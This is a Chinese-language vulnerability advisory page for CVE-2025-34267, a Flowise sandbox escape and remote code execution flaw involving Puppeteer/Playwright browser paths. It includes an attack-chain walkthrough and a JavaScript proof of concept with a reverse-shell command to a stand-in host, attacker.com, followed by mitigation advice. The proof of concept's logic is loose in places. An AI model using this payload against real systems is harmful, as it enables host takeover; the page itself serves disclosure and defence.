IPBUF安全漏洞报告
English
CVE-2025-34267 CVSS 9.9 严重

CVE-2025-34267:Flowise认证远程代码执行及沙箱逃逸漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-34267
漏洞类型
远程代码执行(RCE)/ 沙箱逃逸
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

远程代码执行RCE沙箱逃逸Sandbox EscapeFlowisePuppeteerPlaywrightNode.js VM认证漏洞ALLOW_BUILTIN_DEP

漏洞概述

CVE-2025-34267是Flowise AI平台中存在的一个严重安全漏洞,影响版本范围为v3.0.1至v3.0.7(< 3.0.8)以及所有启用ALLOW_BUILTIN_DEP环境变量的后续版本。该漏洞结合了认证远程代码执行(RCE)和Node.js VM沙箱逃逸两种攻击路径,CVSS评分为9.9,属于严重级别。

Flowise是一个开源的AI可视化工作流构建工具,允许用户通过拖拽方式创建基于大语言模型的应用。该漏洞的核心问题在于Flowise在其nodevm执行环境中不安全地集成了Puppeteer和Playwright模块。当ALLOW_BUILTIN_DEP环境变量被启用时,攻击者可以通过创建或运行利用Puppeteer/Playwright的工具,指定攻击者控制的浏览器二进制路径和参数。当工具执行时,攻击者控制的可执行文件和参数将在宿主机上运行,从而绕过nodevm沙箱的预期限制,实现在宿主机上下文中执行任意代码。

该漏洞最初被开发者错误地分配为CVE-2025-26319的重复项,但根据披露者vulncheck的说明,这两个CVE应当被视为不同的漏洞。此漏洞的利用需要低权限认证,但无需用户交互,攻击向量为网络,且对机密性、完整性和可用性均产生高影响,是极其危险的安全缺陷。

技术细节

Flowise的nodevm执行环境旨在提供一个隔离的沙箱,用于安全地执行用户编写的JavaScript代码。然而,该实现存在两个关键的安全缺陷:

1. **ALLOW_BUILTIN_DEP配置风险**:当Flowise部署中启用了ALLOW_BUILTIN_DEP环境变量时,nodevm沙箱允许加载Node.js内置模块和npm包,包括Puppeteer和Playwright等浏览器自动化工具。这一配置选项本意是提供灵活性,但引入了严重的安全风险。

2. **不安全的模块集成**:Puppeteer和Playwright允许用户指定自定义的浏览器可执行文件路径(executablePath)以及启动参数(args)。由于nodevm沙箱未能正确限制这些参数的合法性,攻击者可以传入恶意路径或参数。当Puppeteer/Playwright尝试启动浏览器时,它将执行攻击者控制的二进制文件或注入恶意参数,从而在宿主机上执行任意命令。

3. **沙箱逃逸机制**:Node.js VM模块提供的隔离机制仅在JavaScript层面有效,但一旦允许执行外部进程(如启动浏览器),沙箱边界即被突破。攻击者通过精心构造的executablePath参数,可以指向任意可执行文件(如反弹shell脚本),或通过args参数注入恶意命令行参数,实现宿主机级别的代码执行。

利用条件:攻击者需要拥有Flowise的有效认证凭据(低权限即可),能够创建或修改使用Puppeteer/Playwright的工具节点,并在该节点中指定恶意的浏览器路径和参数配置。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过钓鱼、凭据填充或其他方式获取Flowise的低权限用户认证凭据。由于漏洞仅需低权限即可利用,攻击门槛较低。
STEP 2
步骤2:验证目标环境
攻击者确认目标Flowise实例已启用ALLOW_BUILTIN_DEP环境变量,并确认Puppeteer/Playwright模块可在nodevm沙箱中加载。
STEP 3
步骤3:构造恶意工具配置
攻击者创建一个使用Puppeteer或Playwright的工具节点,在配置中指定恶意的executablePath(指向攻击者控制的二进制文件)和args参数(包含恶意命令行参数)。
STEP 4
步骤4:触发工具执行
攻击者通过Flowise API或UI触发恶意工具的执行。当工具被调用时,Puppeteer/Playwright尝试启动攻击者指定的浏览器二进制文件。
STEP 5
步骤5:沙箱逃逸与代码执行
攻击者控制的二进制文件在宿主机上执行,完全绕过nodevm沙箱的隔离限制,实现宿主机级别的任意代码执行,可获取完整的服务器控制权。
STEP 6
步骤6:后续利用
攻击者在宿主机上建立持久化访问、窃取敏感数据、横向移动或部署挖矿/勒索软件等恶意负载。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2025-34267 - Flowise RCE via Puppeteer/Playwright Sandbox Escape // Prerequisites: // 1. Valid low-privilege credentials to Flowise instance // 2. ALLOW_BUILTIN_DEP environment variable must be enabled // 3. Ability to create/modify a tool that uses Puppeteer or Playwright // Step 1: Create a malicious tool configuration in Flowise // The attacker crafts a tool node that invokes Puppeteer with attacker-controlled // executablePath and args parameters to escape the nodevm sandbox. const maliciousToolConfig = { name: "BrowserAutomation", type: "Puppeteer", // Attacker-controlled browser binary path - points to a malicious script executablePath: "/tmp/malicious_binary", // Malicious arguments that will be passed to the binary args: [ "--no-sandbox", "--disable-setuid-sandbox", // Reverse shell payload as argument "/bin/bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1" ], headless: false, // Additional options to ensure execution options: { dumpio: true, pipe: true } }; // Step 2: The malicious binary that will be executed on the host // Save this as /tmp/malicious_binary and chmod +x it // #!/bin/bash // bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' // Step 3: Trigger the tool execution via Flowise API // POST /api/v1/prediction/{chatflowid} const exploitRequest = { question: "Execute browser automation", overrideConfig: { customTool: maliciousToolConfig } }; // When Flowise processes this tool, Puppeteer will attempt to launch // the attacker-controlled executablePath, executing arbitrary code // on the host system, completely bypassing the nodevm sandbox. console.log("Exploit payload prepared. Send exploitRequest to Flowise API endpoint."); console.log("Ensure /tmp/malicious_binary exists on target with reverse shell payload."); console.log("Listen on attacker.com:4444 for incoming shell connection.");

影响范围

Flowise v3.0.1 至 v3.0.7(< 3.0.8)
Flowise 所有启用 ALLOW_BUILTIN_DEP 环境变量的后续版本

防御指南

临时缓解措施
在无法立即升级到v3.0.8或更高版本的情况下,建议采取以下临时缓解措施:1)立即禁用ALLOW_BUILTIN_DEP环境变量,这是阻止该漏洞被利用的关键配置;2)限制只有管理员才能创建或修改使用Puppeteer/Playwright的工具节点;3)在nodevm沙箱配置中添加对child_process模块的禁用;4)对所有工具配置进行安全审计,排查是否存在可疑的executablePath参数;5)监控服务器进程列表和网络连接,检测异常行为;6)确保服务器仅运行必要的服务,减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表